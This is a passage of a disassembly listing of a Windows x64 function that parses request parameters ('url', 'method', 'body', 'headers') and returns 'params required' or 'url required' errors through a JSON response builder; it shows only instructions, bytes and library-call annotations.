14000695d	48 8b bc 24 c0 01 00 00	MOV RDI,qword ptr [RSP + local_d8[0]]
140006965	48 89 f1	MOV RCX,RSI
140006968	48 39 fe	CMP RSI,RDI
14000696b	75 0c	JNZ LAB_140006979
14000696d	eb 2c	JMP LAB_14000699b
LAB_140006970:
140006970	48 83 c7 90	ADD RDI,-0x70
140006974	48 39 f7	CMP RDI,RSI
140006977	74 1a	JZ LAB_140006993
LAB_140006979:
140006979	48 8d 4f a8	LEA RCX,[RDI + -0x58]
14000697d	e8 2e 13 00 00	CALL FUN_140007cb0	; FUN_140007cb0: free
140006982	f6 47 90 01	TEST byte ptr [RDI + -0x70],0x1
140006986	74 e8	JZ LAB_140006970
140006988	48 8b 4f a0	MOV RCX,qword ptr [RDI + -0x60]
14000698c	e8 4f 8f 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140006991	eb dd	JMP LAB_140006970
LAB_140006993:
140006993	48 8b 8c 24 b8 01 00 00	MOV RCX,qword ptr [RSP + local_e8[8]]
LAB_14000699b:
14000699b	48 89 b4 24 c0 01 00 00	MOV qword ptr [RSP + local_d8[0]],RSI
1400069a3	e8 38 8f 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400069a8:
1400069a8	48 8b 94 24 a0 01 00 00	MOV RDX,qword ptr [RSP + local_f8[0]]
1400069b0	48 85 d2	TEST RDX,RDX
1400069b3	74 1a	JZ LAB_1400069cf
1400069b5	48 8d 8c 24 a0 01 00 00	LEA RCX,[RSP + 0x1a0]
1400069bd	e8 1e 24 00 00	CALL FUN_140008de0	; FUN_140008de0: free
1400069c2	48 8b 8c 24 a0 01 00 00	MOV RCX,qword ptr [RSP + 0x1a0]
1400069ca	e8 11 8f 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400069cf:
1400069cf	f6 84 24 88 01 00 00 01	TEST byte ptr [RSP + local_118[8]],0x1
1400069d7	74 0d	JZ LAB_1400069e6
1400069d9	48 8b 8c 24 98 01 00 00	MOV RCX,qword ptr [RSP + local_108[8]]
1400069e1	e8 fa 8e 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400069e6:
1400069e6	f6 84 24 f0 01 00 00 01	TEST byte ptr [RSP + local_a8],0x1
1400069ee	74 0d	JZ LAB_1400069fd
1400069f0	48 8b 8c 24 00 02 00 00	MOV RCX,qword ptr [RSP + local_98]
LAB_1400069f8:
1400069f8	e8 e3 8e 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400069fd:
1400069fd	f6 84 24 48 01 00 00 01	TEST byte ptr [RSP + local_150],0x1
140006a05	74 0d	JZ LAB_140006a14
140006a07	48 8b 8c 24 58 01 00 00	MOV RCX,qword ptr [RSP + local_140]
140006a0f	e8 cc 8e 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140006a14:
140006a14	31 c0	XOR EAX,EAX
140006a16	0f 28 b4 24 40 02 00 00	MOVAPS XMM6,xmmword ptr [RSP + local_58[0]]
140006a1e	48 81 c4 58 02 00 00	ADD RSP,0x258
140006a25	5b	POP RBX
140006a26	5d	POP RBP
140006a27	5f	POP RDI
140006a28	5e	POP RSI
140006a29	41 5c	POP R12
140006a2b	41 5d	POP R13
140006a2d	41 5e	POP R14
140006a2f	41 5f	POP R15
140006a31	c3	RET
LAB_140006a32:
140006a32	48 8b 8c 24 e8 01 00 00	MOV RCX,qword ptr [RSP + local_b0]
140006a3a	e8 a1 8e 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140006a3f	f6 84 24 b8 00 00 00 01	TEST byte ptr [RSP + local_1e0],0x1
140006a47	0f 84 ec fe ff ff	JZ LAB_140006939
LAB_140006a4d:
140006a4d	48 8b 8c 24 c8 00 00 00	MOV RCX,qword ptr [RSP + local_1d0]
140006a55	e8 86 8e 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140006a5a	f6 84 24 20 02 00 00 01	TEST byte ptr [RSP + local_78],0x1
140006a62	0f 85 db fe ff ff	JNZ LAB_140006943
140006a68	e9 e3 fe ff ff	JMP LAB_140006950
LAB_140006a6d:
140006a6d	48 85 ff	TEST RDI,RDI
140006a70	0f 84 8b 00 00 00	JZ LAB_140006b01
140006a76	c6 44 24 30 06	MOV byte ptr [RSP + local_268[0]],0x6
140006a7b	66 c7 44 24 31 75 72	MOV word ptr [RSP + local_268[1]],0x7275
140006a82	c6 44 24 33 6c	MOV byte ptr [RSP + local_268[3]],0x6c
140006a87	83 3f 06	CMP dword ptr [RDI],0x6
140006a8a	0f 85 21 01 00 00	JNZ LAB_140006bb1
140006a90	4c 8b 77 40	MOV R14,qword ptr [RDI + 0x40]
140006a94	48 8b 47 48	MOV RAX,qword ptr [RDI + 0x48]
140006a98	49 39 c6	CMP R14,RAX
140006a9b	0f 84 10 01 00 00	JZ LAB_140006bb1
140006aa1	49 83 c6 18	ADD R14,0x18
140006aa5	eb 35	JMP LAB_140006adc
LAB_140006aa7:
140006aa7	49 8b 4e f8	MOV RCX,qword ptr [R14 + -0x8]
LAB_140006aab:
140006aab	0f b7 11	MOVZX EDX,word ptr [RCX]
140006aae	66 33 54 24 31	XOR DX,word ptr [RSP + local_268[1]]
140006ab3	0f b6 49 02	MOVZX ECX,byte ptr [RCX + 0x2]
140006ab7	32 4c 24 33	XOR CL,byte ptr [RSP + local_268[3]]
140006abb	0f b6 c9	MOVZX ECX,CL
140006abe	66 09 d1	OR CX,DX
140006ac1	0f 84 91 00 00 00	JZ LAB_140006b58
LAB_140006ac7:
140006ac7	49 8d 4e e8	LEA RCX,[R14 + -0x18]
140006acb	49 83 c6 70	ADD R14,0x70
140006acf	48 83 c1 70	ADD RCX,0x70
140006ad3	48 39 c1	CMP RCX,RAX
140006ad6	0f 84 d5 00 00 00	JZ LAB_140006bb1
LAB_140006adc:
140006adc	41 0f b6 4e e8	MOVZX ECX,byte ptr [R14 + -0x18]
140006ae1	f6 c1 01	TEST CL,0x1
140006ae4	74 06	JZ LAB_140006aec
140006ae6	49 8b 56 f0	MOV RDX,qword ptr [R14 + -0x10]
140006aea	eb 04	JMP LAB_140006af0
LAB_140006aec:
140006aec	89 ca	MOV EDX,ECX
140006aee	d1 ea	SHR EDX,0x1
LAB_140006af0:
140006af0	48 83 fa 03	CMP RDX,0x3
140006af4	75 d1	JNZ LAB_140006ac7
140006af6	f6 c1 01	TEST CL,0x1
140006af9	75 ac	JNZ LAB_140006aa7
140006afb	49 8d 4e e9	LEA RCX,[R14 + -0x17]
140006aff	eb aa	JMP LAB_140006aab
LAB_140006b01:
140006b01	66 c7 44 24 30 00 00	MOV word ptr [RSP + local_268[0]],0x0
140006b08	c6 84 24 d0 00 00 00 1e	MOV byte ptr [RSP + local_1c8[0]],0x1e
140006b10	48 b8 70 61 72 61 6d 73 …	MOV RAX,0x7220736d61726170
140006b1a	48 89 84 24 d1 00 00 00	MOV qword ptr [RSP + local_1c8[1]],RAX
140006b22	48 b8 72 65 71 75 69 72 …	MOV RAX,0x6465726975716572
140006b2c	48 89 84 24 d8 00 00 00	MOV qword ptr [RSP + local_1c8[8]],RAX
140006b34	c6 84 24 e0 00 00 00 00	MOV byte ptr [RSP + local_1c8[16]],0x0
140006b3c	4c 8d 44 24 30	LEA R8,[RSP + 0x30]
140006b41	4c 8d 8c 24 d0 00 00 00	LEA R9,[RSP + 0xd0]
140006b49	48 89 f1	MOV RCX,RSI
140006b4c	31 d2	XOR EDX,EDX
140006b4e	e8 ad bd ff ff	CALL json_response_builder	; → json_response_builder (B10, E19)
140006b53	e9 b4 fd ff ff	JMP LAB_14000690c
LAB_140006b58:
140006b58	66 c7 84 24 d0 00 00 00 …	MOV word ptr [RSP + local_1c8[0]],0x0
140006b62	48 8d 4c 24 30	LEA RCX,[RSP + 0x30]
140006b67	4c 8d 84 24 d0 00 00 00	LEA R8,[RSP + 0xd0]
140006b6f	4c 89 f2	MOV RDX,R14
140006b72	e8 99 11 00 00	CALL FUN_140007d10	; FUN_140007d10: strlen, memcpy
140006b77	0f b6 44 24 30	MOVZX EAX,byte ptr [RSP + local_268[0]]
140006b7c	89 c3	MOV EBX,EAX
140006b7e	d1 eb	SHR EBX,0x1
140006b80	a8 01	TEST AL,0x1
140006b82	74 7d	JZ LAB_140006c01
140006b84	48 8b 5c 24 38	MOV RBX,qword ptr [RSP + local_268[8]]
140006b89	74 78	JZ LAB_140006c03
LAB_140006b8b:
140006b8b	48 8b 4c 24 40	MOV RCX,qword ptr [RSP + local_268[16]]
140006b90	e8 4b 8d 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140006b95	f6 84 24 d0 00 00 00 01	TEST byte ptr [RSP + local_1c8[0]],0x1
140006b9d	74 6e	JZ LAB_140006c0d
LAB_140006b9f:
140006b9f	48 8b 8c 24 e0 00 00 00	MOV RCX,qword ptr [RSP + local_1c8[16]]
140006ba7	e8 34 8d 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140006bac	48 85 db	TEST RBX,RBX
140006baf	75 61	JNZ LAB_140006c12
LAB_140006bb1:
140006bb1	66 c7 44 24 30 00 00	MOV word ptr [RSP + local_268[0]],0x0
140006bb8	c6 84 24 d0 00 00 00 18	MOV byte ptr [RSP + local_1c8[0]],0x18
140006bc0	48 b8 75 72 6c 20 72 65 …	MOV RAX,0x75716572206c7275
140006bca	48 89 84 24 d1 00 00 00	MOV qword ptr [RSP + local_1c8[1]],RAX
140006bd2	c7 84 24 d9 00 00 00 69 …	MOV dword ptr [RSP + local_1c8[9]],0x64657269
140006bdd	c6 84 24 dd 00 00 00 00	MOV byte ptr [RSP + local_1c8[13]],0x0
140006be5	4c 8d 44 24 30	LEA R8,[RSP + 0x30]
140006bea	4c 8d 8c 24 d0 00 00 00	LEA R9,[RSP + 0xd0]
140006bf2	48 89 f1	MOV RCX,RSI
140006bf5	31 d2	XOR EDX,EDX
140006bf7	e8 04 bd ff ff	CALL json_response_builder	; → json_response_builder (B10, E19)
140006bfc	e9 0b fd ff ff	JMP LAB_14000690c
LAB_140006c01:
140006c01	75 88	JNZ LAB_140006b8b
LAB_140006c03:
140006c03	f6 84 24 d0 00 00 00 01	TEST byte ptr [RSP + local_1c8[0]],0x1
140006c0b	75 92	JNZ LAB_140006b9f
LAB_140006c0d:
140006c0d	48 85 db	TEST RBX,RBX
140006c10	74 9f	JZ LAB_140006bb1
LAB_140006c12:
140006c12	b9 68 00 00 00	MOV ECX,0x68
140006c17	e8 e4 8b 01 00	CALL FUN_14001f800	; FUN_14001f800: malloc
140006c1c	48 89 c3	MOV RBX,RAX
140006c1f	0f 57 c0	XORPS XMM0,XMM0
140006c22	0f 29 00	MOVAPS xmmword ptr [RAX],XMM0
140006c25	0f 29 40 50	MOVAPS xmmword ptr [RAX + 0x50],XMM0
140006c29	0f 29 40 40	MOVAPS xmmword ptr [RAX + 0x40],XMM0
140006c2d	0f 29 40 30	MOVAPS xmmword ptr [RAX + 0x30],XMM0
140006c31	0f 29 40 20	MOVAPS xmmword ptr [RAX + 0x20],XMM0
140006c35	0f 29 40 10	MOVAPS xmmword ptr [RAX + 0x10],XMM0
140006c39	48 c7 40 60 00 00 00 00	MOV qword ptr [RAX + 0x60],0x0
140006c41	48 89 30	MOV qword ptr [RAX],RSI
140006c44	66 c7 84 24 a0 00 00 00 …	MOV word ptr [RSP + local_1f8[0]],0x0
140006c4e	48 8d 8c 24 d0 00 00 00	LEA RCX,[RSP + 0xd0]
140006c56	4c 8d 84 24 a0 00 00 00	LEA R8,[RSP + 0xa0]
140006c5e	4c 89 f2	MOV RDX,R14
140006c61	e8 aa 10 00 00	CALL FUN_140007d10	; FUN_140007d10: strlen, memcpy
140006c66	48 8d 4c 24 30	LEA RCX,[RSP + 0x30]
140006c6b	48 8d 94 24 d0 00 00 00	LEA RDX,[RSP + 0xd0]
140006c73	e8 b8 c1 ff ff	CALL FUN_140002e30	; FUN_140002e30: MultiByteToWideChar
140006c78	4c 8d 63 08	LEA R12,[RBX + 0x8]
140006c7c	41 f6 04 24 01	TEST byte ptr [R12],0x1
140006c81	74 09	JZ LAB_140006c8c
140006c83	48 8b 4b 18	MOV RCX,qword ptr [RBX + 0x18]
140006c87	e8 54 8c 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140006c8c:
140006c8c	48 8b 44 24 40	MOV RAX,qword ptr [RSP + local_268[16]]
140006c91	49 89 44 24 10	MOV qword ptr [R12 + 0x10],RAX
140006c96	0f 10 44 24 30	MOVUPS XMM0,xmmword ptr [RSP + local_268[0]]
140006c9b	41 0f 11 04 24	MOVUPS xmmword ptr [R12],XMM0
140006ca0	c6 44 24 30 00	MOV byte ptr [RSP + local_268[0]],0x0
140006ca5	66 c7 44 24 32 00 00	MOV word ptr [RSP + local_268[2]],0x0
140006cac	f6 84 24 d0 00 00 00 01	TEST byte ptr [RSP + local_1c8[0]],0x1
140006cb4	74 0d	JZ LAB_140006cc3
140006cb6	48 8b 8c 24 e0 00 00 00	MOV RCX,qword ptr [RSP + local_1c8[16]]
140006cbe	e8 1d 8c 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140006cc3:
140006cc3	f6 84 24 a0 00 00 00 01	TEST byte ptr [RSP + local_1f8[0]],0x1
140006ccb	74 0d	JZ LAB_140006cda
140006ccd	48 8b 8c 24 b0 00 00 00	MOV RCX,qword ptr [RSP + local_1e8]
140006cd5	e8 06 8c 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140006cda:
140006cda	c6 44 24 30 0c	MOV byte ptr [RSP + local_268[0]],0xc
140006cdf	c7 44 24 31 6d 65 74 68	MOV dword ptr [RSP + local_268[1]],0x6874656d
140006ce7	66 c7 44 24 35 6f 64	MOV word ptr [RSP + local_268[5]],0x646f
140006cee	8b 07	MOV EAX,dword ptr [RDI]
140006cf0	83 f8 06	CMP EAX,0x6
140006cf3	0f 85 07 01 00 00	JNZ LAB_140006e00
140006cf9	48 8b 57 40	MOV RDX,qword ptr [RDI + 0x40]
140006cfd	48 8b 4f 48	MOV RCX,qword ptr [RDI + 0x48]
140006d01	48 39 ca	CMP RDX,RCX
140006d04	0f 84 f6 00 00 00	JZ LAB_140006e00
140006d0a	48 83 c2 18	ADD RDX,0x18
140006d0e	eb 35	JMP LAB_140006d45
LAB_140006d10:
140006d10	4c 8b 42 f8	MOV R8,qword ptr [RDX + -0x8]
LAB_140006d14:
140006d14	45 8b 08	MOV R9D,dword ptr [R8]
140006d17	44 33 4c 24 31	XOR R9D,dword ptr [RSP + local_268[1]]
140006d1c	45 0f b7 40 04	MOVZX R8D,word ptr [R8 + 0x4]
140006d21	66 44 33 44 24 35	XOR R8W,word ptr [RSP + local_268[5]]
140006d27	45 0f b7 c0	MOVZX R8D,R8W
140006d2b	45 09 c8	OR R8D,R9D
140006d2e	74 3e	JZ LAB_140006d6e
LAB_140006d30:
140006d30	4c 8d 42 e8	LEA R8,[RDX + -0x18]
140006d34	48 83 c2 70	ADD RDX,0x70
140006d38	49 83 c0 70	ADD R8,0x70
140006d3c	49 39 c8	CMP R8,RCX
140006d3f	0f 84 bb 00 00 00	JZ LAB_140006e00
LAB_140006d45:
140006d45	44 0f b6 42 e8	MOVZX R8D,byte ptr [RDX + -0x18]
140006d4a	41 f6 c0 01	TEST R8B,0x1
140006d4e	74 06	JZ LAB_140006d56
140006d50	4c 8b 4a f0	MOV R9,qword ptr [RDX + -0x10]
140006d54	eb 06	JMP LAB_140006d5c
LAB_140006d56:
140006d56	45 89 c1	MOV R9D,R8D
140006d59	41 d1 e9	SHR R9D,0x1
LAB_140006d5c:
140006d5c	49 83 f9 06	CMP R9,0x6
140006d60	75 ce	JNZ LAB_140006d30
140006d62	41 f6 c0 01	TEST R8B,0x1
140006d66	75 a8	JNZ LAB_140006d10
140006d68	4c 8d 42 e9	LEA R8,[RDX + -0x17]
140006d6c	eb a6	JMP LAB_140006d14
LAB_140006d6e:
140006d6e	66 c7 84 24 a0 00 00 00 …	MOV word ptr [RSP + local_1f8[0]],0x0
140006d78	48 8d 8c 24 d0 00 00 00	LEA RCX,[RSP + 0xd0]
140006d80	4c 8d 84 24 a0 00 00 00	LEA R8,[RSP + 0xa0]
140006d88	e8 83 0f 00 00	CALL FUN_140007d10	; FUN_140007d10: strlen, memcpy
140006d8d	48 8d 4c 24 30	LEA RCX,[RSP + 0x30]
140006d92	48 8d 94 24 d0 00 00 00	LEA RDX,[RSP + 0xd0]
140006d9a	e8 91 c0 ff ff	CALL FUN_140002e30	; FUN_140002e30: MultiByteToWideChar
140006d9f	4c 8d 73 20	LEA R14,[RBX + 0x20]
140006da3	f6 43 20 01	TEST byte ptr [RBX + 0x20],0x1
140006da7	74 09	JZ LAB_140006db2
140006da9	48 8b 4b 30	MOV RCX,qword ptr [RBX + 0x30]
140006dad	e8 2e 8b 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140006db2:
140006db2	48 8b 44 24 40	MOV RAX,qword ptr [RSP + local_268[16]]
140006db7	49 89 46 10	MOV qword ptr [R14 + 0x10],RAX
140006dbb	0f 10 44 24 30	MOVUPS XMM0,xmmword ptr [RSP + local_268[0]]
140006dc0	41 0f 11 06	MOVUPS xmmword ptr [R14],XMM0
140006dc4	c6 44 24 30 00	MOV byte ptr [RSP + local_268[0]],0x0
140006dc9	66 c7 44 24 32 00 00	MOV word ptr [RSP + local_268[2]],0x0
140006dd0	f6 84 24 d0 00 00 00 01	TEST byte ptr [RSP + local_1c8[0]],0x1
140006dd8	74 0d	JZ LAB_140006de7
140006dda	48 8b 8c 24 e0 00 00 00	MOV RCX,qword ptr [RSP + local_1c8[16]]
140006de2	e8 f9 8a 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140006de7:
140006de7	f6 84 24 a0 00 00 00 01	TEST byte ptr [RSP + local_1f8[0]],0x1
140006def	74 0d	JZ LAB_140006dfe
140006df1	48 8b 8c 24 b0 00 00 00	MOV RCX,qword ptr [RSP + local_1e8]
140006df9	e8 e2 8a 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140006dfe:
140006dfe	8b 07	MOV EAX,dword ptr [RDI]
LAB_140006e00:
140006e00	c6 44 24 30 08	MOV byte ptr [RSP + local_268[0]],0x8
140006e05	c7 44 24 31 62 6f 64 79	MOV dword ptr [RSP + local_268[1]],0x79646f62
140006e0d	83 f8 06	CMP EAX,0x6
140006e10	75 6c	JNZ LAB_140006e7e
140006e12	48 8b 4f 40	MOV RCX,qword ptr [RDI + 0x40]
140006e16	4c 8b 47 48	MOV R8,qword ptr [RDI + 0x48]
140006e1a	4c 39 c1	CMP RCX,R8
140006e1d	74 5f	JZ LAB_140006e7e
140006e1f	48 8d 51 28	LEA RDX,[RCX + 0x28]
140006e23	eb 1f	JMP LAB_140006e44
LAB_140006e25:
140006e25	4c 8b 4a e8	MOV R9,qword ptr [RDX + -0x18]
LAB_140006e29:
140006e29	45 8b 09	MOV R9D,dword ptr [R9]
140006e2c	44 3b 4c 24 31	CMP R9D,dword ptr [RSP + local_268[1]]
140006e31	74 3a	JZ LAB_140006e6d
LAB_140006e33:
140006e33	4c 8d 4a d8	LEA R9,[RDX + -0x28]
140006e37	48 83 c2 70	ADD RDX,0x70
140006e3b	49 83 c1 70	ADD R9,0x70
140006e3f	4d 39 c1	CMP R9,R8
140006e42	74 3a	JZ LAB_140006e7e
LAB_140006e44:
140006e44	44 0f b6 4a d8	MOVZX R9D,byte ptr [RDX + -0x28]
140006e49	41 f6 c1 01	TEST R9B,0x1
140006e4d	74 06	JZ LAB_140006e55
140006e4f	4c 8b 52 e0	MOV R10,qword ptr [RDX + -0x20]
140006e53	eb 06	JMP LAB_140006e5b
LAB_140006e55:
140006e55	45 89 ca	MOV R10D,R9D
140006e58	41 d1 ea	SHR R10D,0x1
LAB_140006e5b:
140006e5b	49 83 fa 04	CMP R10,0x4
140006e5f	75 d2	JNZ LAB_140006e33
140006e61	41 f6 c1 01	TEST R9B,0x1
140006e65	75 be	JNZ LAB_140006e25
140006e67	4c 8d 4a d9	LEA R9,[RDX + -0x27]
140006e6b	eb bc	JMP LAB_140006e29
LAB_140006e6d:
140006e6d	83 7a f0 04	CMP dword ptr [RDX + -0x10],0x4
140006e71	75 38	JNZ LAB_140006eab
140006e73	48 8d 4b 50	LEA RCX,[RBX + 0x50]
140006e77	e8 04 97 00 00	CALL FUN_140010580	; FUN_140010580: memmove, memcpy
140006e7c	8b 07	MOV EAX,dword ptr [RDI]
LAB_140006e7e:
140006e7e	c6 44 24 30 0e	MOV byte ptr [RSP + local_268[0]],0xe
140006e83	c7 44 24 31 68 65 61 64	MOV dword ptr [RSP + local_268[1]],0x64616568
140006e8b	c7 44 24 34 64 65 72 73	MOV dword ptr [RSP + local_268[4]],0x73726564
140006e93	83 f8 06	CMP EAX,0x6
140006e96	0f 85 cb 02 00 00	JNZ LAB_140007167
140006e9c	48 8d 44 24 31	LEA RAX,[RSP + 0x31]
140006ea1	48 8b 4f 40	MOV RCX,qword ptr [RDI + 0x40]
140006ea5	4c 8b 47 48	MOV R8,qword ptr [RDI + 0x48]
140006ea9	eb 37	JMP LAB_140006ee2
LAB_140006eab:
140006eab	c6 44 24 30 0e	MOV byte ptr [RSP + local_268[0]],0xe
140006eb0	48 8d 44 24 31	LEA RAX,[RSP + 0x31]
140006eb5	c7 44 24 31 68 65 61 64	MOV dword ptr [RSP + local_268[1]],0x64616568
140006ebd	c7 44 24 34 64 65 72 73	MOV dword ptr [RSP + local_268[4]],0x73726564
140006ec5	eb 1b	JMP LAB_140006ee2
LAB_140006ec7:
140006ec7	48 8b 51 10	MOV RDX,qword ptr [RCX + 0x10]
LAB_140006ecb:
140006ecb	44 8b 0a	MOV R9D,dword ptr [RDX]
140006ece	44 33 4c 24 31	XOR R9D,dword ptr [RSP + local_268[1]]
140006ed3	8b 52 03	MOV EDX,dword ptr [RDX + 0x3]
140006ed6	33 50 03	XOR EDX,dword ptr [RAX + local_268[4]]
140006ed9	44 09 ca	OR EDX,R9D
140006edc	74 32	JZ LAB_140006f10
LAB_140006ede:
140006ede	48 83 c1 70	ADD RCX,0x70
LAB_140006ee2:
140006ee2	4c 39 c1	CMP RCX,R8
140006ee5	0f 84 7c 02 00 00	JZ LAB_140007167
140006eeb	0f b6 11	MOVZX EDX,byte ptr [RCX]
140006eee	f6 c2 01	TEST DL,0x1
140006ef1	74 06	JZ LAB_140006ef9
140006ef3	4c 8b 49 08	MOV R9,qword ptr [RCX + 0x8]
140006ef7	eb 06	JMP LAB_140006eff
LAB_140006ef9:
140006ef9	41 89 d1	MOV R9D,EDX
140006efc	41 d1 e9	SHR R9D,0x1
LAB_140006eff:
140006eff	49 83 f9 07	CMP R9,0x7
140006f03	75 d9	JNZ LAB_140006ede
140006f05	f6 c2 01	TEST DL,0x1
140006f08	75 bd	JNZ LAB_140006ec7
140006f0a	48 8d 51 01	LEA RDX,[RCX + 0x1]
140006f0e	eb bb	JMP LAB_140006ecb
LAB_140006f10:
140006f10	83 79 18 06	CMP dword ptr [RCX + 0x18],0x6
140006f14	0f 85 4d 02 00 00	JNZ LAB_140007167
140006f1a	48 8b 79 58	MOV RDI,qword ptr [RCX + 0x58]
140006f1e	48 8b 69 60	MOV RBP,qword ptr [RCX + 0x60]
140006f22	48 39 ef	CMP RDI,RBP
140006f25	0f 84 3c 02 00 00	JZ LAB_140007167
140006f2b	49 89 de	MOV R14,RBX
140006f2e	49 83 c6 38	ADD R14,0x38
140006f32	4c 8d bc 24 60 01 00 00	LEA R15,[RSP + 0x160]
140006f3a	0f 57 f6	XORPS XMM6,XMM6
140006f3d	4c 8d ac 24 88 00 00 00	LEA R13,[RSP + 0x88]
140006f45	eb 0d	JMP LAB_140006f54
LAB_140006f47:
140006f47	48 83 c7 58	ADD RDI,0x58
140006f4b	48 39 ef	CMP RDI,RBP
140006f4e	0f 84 13 02 00 00	JZ LAB_140007167
LAB_140006f54:
140006f54	4c 89 f9	MOV RCX,R15
140006f57	48 89 fa	MOV RDX,RDI
140006f5a	e8 d1 be ff ff	CALL FUN_140002e30	; FUN_140002e30: MultiByteToWideChar
140006f5f	4c 89 f9	MOV RCX,R15
140006f62	48 8d 15 f7 4b 09 00	LEA RDX,[DAT_14009bb60]
140006f69	e8 42 a2 00 00	CALL FUN_1400111b0	; FUN_1400111b0: wcslen, memmove
140006f6e	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
140006f72	48 89 8c 24 b0 00 00 00	MOV qword ptr [RSP + local_1e8],RCX
140006f7a	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
140006f7d	0f 29 84 24 a0 00 00 00	MOVAPS xmmword ptr [RSP + local_1f8[0]],XMM0
140006f85	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
140006f88	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
140006f90	66 c7 84 24 08 02 00 00 …	MOV word ptr [RSP + local_90],0x0
140006f9a	48 83 c7 18	ADD RDI,0x18
140006f9e	4c 89 e9	MOV RCX,R13
140006fa1	48 89 fa	MOV RDX,RDI
140006fa4	4c 8d 84 24 08 02 00 00	LEA R8,[RSP + 0x208]
140006fac	e8 5f 0d 00 00	CALL FUN_140007d10	; FUN_140007d10: strlen, memcpy
140006fb1	48 8d 8c 24 30 01 00 00	LEA RCX,[RSP + 0x130]
140006fb9	4c 89 ea	MOV RDX,R13
140006fbc	e8 6f be ff ff	CALL FUN_140002e30	; FUN_140002e30: MultiByteToWideChar
140006fc1	0f b6 84 24 30 01 00 00	MOVZX EAX,byte ptr [RSP + local_168]
140006fc9	41 89 c0	MOV R8D,EAX
140006fcc	41 d1 e8	SHR R8D,0x1
140006fcf	a8 01	TEST AL,0x1
140006fd1	48 8b 94 24 40 01 00 00	MOV RDX,qword ptr [RSP + local_158]
140006fd9	48 8d 84 24 32 01 00 00	LEA RAX,[RSP + 0x132]
140006fe1	48 0f 44 d0	CMOVZ RDX,RAX
140006fe5	4c 0f 45 84 24 38 01 00 …	CMOVNZ R8,qword ptr [RSP + local_160]
140006fee	48 8d 8c 24 a0 00 00 00	LEA RCX,[RSP + 0xa0]
140006ff6	e8 95 a2 00 00	CALL FUN_140011290	; FUN_140011290: memmove
140006ffb	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
140006fff	48 89 8c 24 e0 00 00 00	MOV qword ptr [RSP + local_1c8[16]],RCX
140007007	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
14000700a	0f 29 84 24 d0 00 00 00	MOVAPS xmmword ptr [RSP + local_1c8[0]],XMM0
140007012	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
140007015	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
14000701d	48 8d 8c 24 d0 00 00 00	LEA RCX,[RSP + 0xd0]
140007025	48 8d 15 3a 4b 09 00	LEA RDX,[DAT_14009bb66]
14000702c	e8 7f a1 00 00	CALL FUN_1400111b0	; FUN_1400111b0: wcslen, memmove
140007031	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
140007035	48 89 4c 24 40	MOV qword ptr [RSP + local_268[16]],RCX
14000703a	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
14000703d	0f 29 44 24 30	MOVAPS xmmword ptr [RSP + local_268[0]],XMM0
140007042	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
140007045	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
14000704d	0f b6 44 24 30	MOVZX EAX,byte ptr [RSP + local_268[0]]
140007052	41 89 c0	MOV R8D,EAX
140007055	41 d1 e8	SHR R8D,0x1
140007058	a8 01	TEST AL,0x1
14000705a	48 8b 54 24 40	MOV RDX,qword ptr [RSP + local_268[16]]
14000705f	48 8d 44 24 32	LEA RAX,[RSP + 0x32]
140007064	48 0f 44 d0	CMOVZ RDX,RAX
140007068	4c 0f 45 44 24 38	CMOVNZ R8,qword ptr [RSP + local_268[8]]
14000706e	4c 89 f1	MOV RCX,R14
140007071	e8 1a a2 00 00	CALL FUN_140011290	; FUN_140011290: memmove
140007076	f6 44 24 30 01	TEST byte ptr [RSP + local_268[0]],0x1
14000707b	75 49	JNZ LAB_1400070c6
14000707d	f6 84 24 d0 00 00 00 01	TEST byte ptr [RSP + local_1c8[0]],0x1
140007085	75 53	JNZ LAB_1400070da
LAB_140007087:
140007087	f6 84 24 30 01 00 00 01	TEST byte ptr [RSP + local_168],0x1
14000708f	75 60	JNZ LAB_1400070f1
LAB_140007091:
140007091	f6 84 24 88 00 00 00 01	TEST byte ptr [RSP + local_210],0x1
140007099	75 6d	JNZ LAB_140007108
LAB_14000709b:
14000709b	f6 84 24 08 02 00 00 01	TEST byte ptr [RSP + local_90],0x1
1400070a3	75 7a	JNZ LAB_14000711f
LAB_1400070a5:
1400070a5	f6 84 24 a0 00 00 00 01	TEST byte ptr [RSP + local_1f8[0]],0x1
1400070ad	0f 85 87 00 00 00	JNZ LAB_14000713a
LAB_1400070b3:
1400070b3	f6 84 24 60 01 00 00 01	TEST byte ptr [RSP + local_138],0x1
1400070bb	0f 84 86 fe ff ff	JZ LAB_140006f47
1400070c1	e9 8f 00 00 00	JMP LAB_140007155
LAB_1400070c6:
1400070c6	48 8b 4c 24 40	MOV RCX,qword ptr [RSP + local_268[16]]
1400070cb	e8 10 88 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
1400070d0	f6 84 24 d0 00 00 00 01	TEST byte ptr [RSP + local_1c8[0]],0x1
1400070d8	74 ad	JZ LAB_140007087
LAB_1400070da:
